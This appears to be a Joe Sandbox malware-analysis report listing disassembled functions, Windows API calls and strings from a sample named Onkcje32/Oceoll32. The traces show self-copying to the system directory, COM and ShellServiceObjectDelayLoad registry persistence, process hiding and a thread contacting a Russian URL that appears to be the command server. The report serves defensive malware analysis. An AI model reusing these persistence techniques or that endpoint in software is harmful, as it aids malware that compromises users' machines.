API String ID: 2176257816-3118753097
Opcode ID: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction ID: 40b1eb1d73d9c04af9a72cf5af1a140bd4a75b2e1492408562adfdfa8721cd8f
Opcode Fuzzy Hash: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction Fuzzy Hash: F9110B72E0406867DB009A9A88815AFFBB69FC5310F1641F7EA04B73C1D27CAD0193A5

Function 0040421F Relevance: 6.0, APIs: 4, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404255
RegSetValueExA.ADVAPI32(?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404273
RegCloseKey.ADVAPI32(?,?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?), ref: 0040427F

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction ID: d96ef7c4080a9b633a5bca21bfcbc2c766a155132064e5ed691f16c3214ccdec
Opcode Fuzzy Hash: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction Fuzzy Hash: B801F772B10109BBCF11AEB5CC02F9EBEBA9F84340F240476B704F61E0D675D9116718

Function 0040429C Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042EF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042FB

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction ID: 691f158720e2b36127ee9bd81ba90e70b5a5535aabeb9bf87ba7554e5ddc9d88
Opcode Fuzzy Hash: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction Fuzzy Hash: 9801F271B1410ABACF109E25CC02BEEBFA99F94390F140472BE04F61E1D374EE11A3A9

Function 00403743 Relevance: 6.0, APIs: 4, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403769
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403780
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403798
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080), ref: 0040379E

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction ID: cf1cf3c615f6ac6775c7614bbea78a1f327309af87cada33f382846b8ae172d8
Opcode Fuzzy Hash: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction Fuzzy Hash: 1BF0E972B442143AE62029758C03FDE355D8B41B78F144131FB10FB1D1D5B8BA0142AD

Function 0040185F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,?), ref: 004018E2
_sleep.CRTDLL(00000000), ref: 00401985

Strings

Microsoft Internet Explorer, xrefs: 004018E9

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: TextWindow_sleep
String ID: Microsoft Internet Explorer
API String ID: 2600969163-3125735337
Opcode ID: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction ID: b939d44f97a8665b9279395720dceab0b5e56fea97a4cdd5017e5321b1dcff8d
Opcode Fuzzy Hash: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction Fuzzy Hash: 0B511D71A00215EFDB20CFA8D884BAAB7F4BB18315F5041B6E904E72A0D7749995CF59

Function 0040682B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406753: CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
Part of subcall function 00406753: GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
Part of subcall function 00406753: CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

_sleep.CRTDLL(000927C0,00418E30,http://tat-neftbank.ru/kkq.php,ofs_kk), ref: 00406854

Strings

http://tat-neftbank.ru/kkq.php, xrefs: 00406840
ofs_kk, xrefs: 0040683B

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize_sleep
String ID: http://tat-neftbank.ru/kkq.php$ofs_kk
API String ID: 4235044784-1201080362
Opcode ID: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction ID: fffe33e14b07b0123592d698d33e8a34a507cc30d1f0c5c96ad3af2b43ec03e4
Opcode Fuzzy Hash: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction Fuzzy Hash: ADD05E72B453043B9200757E9D07929F5CE4AA0AA83B9446BBA01F73F1E8F89E1151AB

Analysis Process: Onkcje32.exePID: 6860, Parent PID: 6824COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	542
Total number of Limit Nodes:	2

Executed Functions

Function 00406C29 Relevance: 82.5, APIs: 36, Strings: 11, Instructions: 264
windowthreadregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32(001F0001,00000000,QueenKarton_12), ref: 00406C50
CloseHandle.KERNEL32(00000000,00000000), ref: 00406C60
exit.CRTDLL(00000001,00000000,00000000), ref: 00406C67
GetVersionExA.KERNEL32(00418D50,00000000), ref: 00406C8A
GetSystemDirectoryA.KERNEL32(00429080,000000FF), ref: 00406C99
GetTickCount.KERNEL32 ref: 00406C9E
srand.CRTDLL(00000000,00418D50,00000000), ref: 00406CA4
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00418D50,00000000), ref: 00406CBE
rand.CRTDLL(00418D50,00000000), ref: 00406D03
rand.CRTDLL(00418D50,00000000), ref: 00406D2F
rand.CRTDLL(00418D50,00000000), ref: 00406D70
sprintf.CRTDLL(?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00406DA8
CopyFileA.KERNEL32(?,?,00000000), ref: 00406DBD
WinExec.KERNEL32(?,00000000), ref: 00406DEC
ExitProcess.KERNEL32(00000001,?,?,?,?,?,?,00418D50,00000000), ref: 00406E02
sprintf.CRTDLL(00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E1B
sprintf.CRTDLL(00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E3A
sprintf.CRTDLL(00408020,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E53
LoadCursorA.USER32(00000000,00007F00), ref: 00406E85
LoadIconA.USER32(00000000,00007F03), ref: 00406E9A
GetStockObject.GDI32(00000000), ref: 00406EA8
RegisterClassA.USER32(00000003), ref: 00406EC9
CreateWindowExA.USER32(00000000,QueenKarton,QueenKarton,00CA0000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00408020), ref: 00406EF3
CreateMutexA.KERNEL32(00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406F12

Part of subcall function 00402E06: GetVersion.KERNEL32 ref: 00402E22
Part of subcall function 00402E06: GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
Part of subcall function 00402E06: CloseHandle.KERNEL32(?), ref: 00403065

GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F21
GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F32
GetProcAddress.KERNEL32(00000000,RegisterServiceProcess), ref: 00406F3D
GetCurrentProcessId.KERNEL32(00000000,RegisterServiceProcess,kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll), ref: 00406F57
CreateThread.KERNEL32(00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F84
CloseHandle.KERNEL32(00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F8A
CreateThread.KERNEL32(00000000,00000000,004068B0,00000000,00000000,?), ref: 00406FA3
CloseHandle.KERNEL32(00000000,00000000,00000000,004068B0,00000000,00000000,?,00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406FA9
SetTimer.USER32(00000001,000001F4,00000000,00000000), ref: 00406FBD
TranslateMessage.USER32(?), ref: 00406FC8
DispatchMessageA.USER32(?), ref: 00406FD7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00406FE6

Strings

kernel32.dll, xrefs: 00406F2D
kkq32.vxd, xrefs: 00406E26
kkq32.dll, xrefs: 00406E07
QueenKarton, xrefs: 00406E64, 00406EE7, 00406EEC
QueenKarton_12, xrefs: 00406C44, 00406F09
dnkkq.dll, xrefs: 00406E3F
2, xrefs: 00406D83
%s\%s, xrefs: 00406E11, 00406E30, 00406E49
%s\%s.exe, xrefs: 00406D9C
RegisterServiceProcess, xrefs: 00406F37
3, xrefs: 00406D7C

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreatesprintf$MessageVersionrand$FileLoadModuleMutexProcessThread$AddressClassCopyCountCurrentCursorDirectoryDispatchExecExitGlobalIconMemoryNameObjectOpenProcRegisterStatusStockSystemTickTimerTranslateWindowexitsrand
String ID: %s\%s$%s\%s.exe$2$3$QueenKarton$QueenKarton_12$RegisterServiceProcess$dnkkq.dll$kernel32.dll$kkq32.dll$kkq32.vxd
API String ID: 607501245-2841515530
Opcode ID: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction ID: b1e00ee85c63859ee3f052cf9651ba5d7fc827d99c5bd6e2bd8f21b679fb6b98
Opcode Fuzzy Hash: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction Fuzzy Hash: E691C671F883286ADB10A7759C46FDD76A85B44704F5000BBB508FB2C2D6FC6D448BAE

Function 00403619 Relevance: 7.6, APIs: 5, Instructions: 58
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403642
GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateHandleLocalReadSize
String ID:
API String ID: 2632956699-0
Opcode ID: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction ID: fb77f57afc793f1fdbd914af7197191687e2a95eac13cef646675694312e246c
Opcode Fuzzy Hash: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction Fuzzy Hash: 14116531A00208BAEB216E65CC06F9DB7A8DB00765F108576FA10BA2D1D67DAF018B5D

Function 00403F68 Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 135
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FA7
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FD4
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00404010
sprintf.CRTDLL(?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404048
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404063
sprintf.CRTDLL(Odekfoij,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404086
WriteFile.KERNEL32(?,0042AA84,00001A01,?,00000000,Odekfoij,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll), ref: 004040A4
CloseHandle.KERNEL32(?,?,0042AA84,00001A01,?,00000000,Odekfoij,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?), ref: 004040BB
sprintf.CRTDLL(?,CLSID\%s\InProcServer32,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,0042AA84,00001A01,?,00000000,Odekfoij,00429080,?,40000000,00000000,00000000,00000002), ref: 004040D3

Strings

ThreadingModel, xrefs: 0040410F
Apartment, xrefs: 0040410A
Web Event Logger, xrefs: 00404126
Odekfoij, xrefs: 00404080, 00404085
CLSID\%s\InProcServer32, xrefs: 004040C7
3, xrefs: 0040401C
2, xrefs: 00404023
Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad, xrefs: 0040412B
%s\%s.dll, xrefs: 0040403C
{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 00403F92, 004040C6, 00404125

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: randsprintf$File$CloseCreateHandleWrite
String ID: %s\%s.dll$2$3$Apartment$CLSID\%s\InProcServer32$Odekfoij$Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad$ThreadingModel$Web Event Logger${79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 4269242784-3115103061
Opcode ID: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction ID: 8034dccab87c86b1e0d8b3b5755954c703eafec793446a3a0ea57bc4b4fc6a7a
Opcode Fuzzy Hash: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction Fuzzy Hash: E7415771F482286AD7109769EC46BE97AAC8B49304F5400FBB908F72C1D6FC9E458F69

Function 00403CE9 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403CFD
memcpy.CRTDLL(-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403D7A
memset.CRTDLL(00406DCE,00000000,0000000C,-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080), ref: 00403D8F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DF6
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DFE
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E1F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E27
memcpy.CRTDLL(-0042AA4C,0042AA44,00000040,?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE), ref: 00403E52

Strings

+Z}), xrefs: 00403CF2

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: rand$memcpy$memset
String ID: +Z})
API String ID: 1341957784-4018127762
Opcode ID: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction ID: df63eb390851271c68cbd719fcc6126871763b87c01c507511359465d0d2d2d2
Opcode Fuzzy Hash: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction Fuzzy Hash: A4719E31F042159BCB10CF69DD42A9E7BF5AF88354F584076E901B77A0D23CAA16CBAD

Function 00404148 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001,00006A14,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,?,004040F5), ref: 00404189
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001), ref: 004041AB
RegCloseKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72), ref: 004041B9

Strings

{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 0040414D

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: {79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 1818849710-4250702572
Opcode ID: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction ID: 412fd7a6ac4860a679fa2010a2fd1b93dd732dea722ee027fa7473d1befc18ea
Opcode Fuzzy Hash: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction Fuzzy Hash: A7018472B00108BBEB114A95CC02FFEBA6AEF44764F250065FA00B71D1C6B1AE519754

Function 0040365E Relevance: 6.0, APIs: 4, Instructions: 30
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: File$AllocCloseHandleLocalReadSize
String ID:
API String ID: 341201350-0
Opcode ID: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction ID: f40f052c398d65a7c82f7348c4b70b1bbd35af8546e58ac1d0fc8a8e918c22c0
Opcode Fuzzy Hash: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction Fuzzy Hash: 4EF01C76F04504BAEB01ABA58C02BDD77789B04319F108467F604B62C1D27D6B119B6E

Function 00407980 Relevance: 4.5, APIs: 3, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
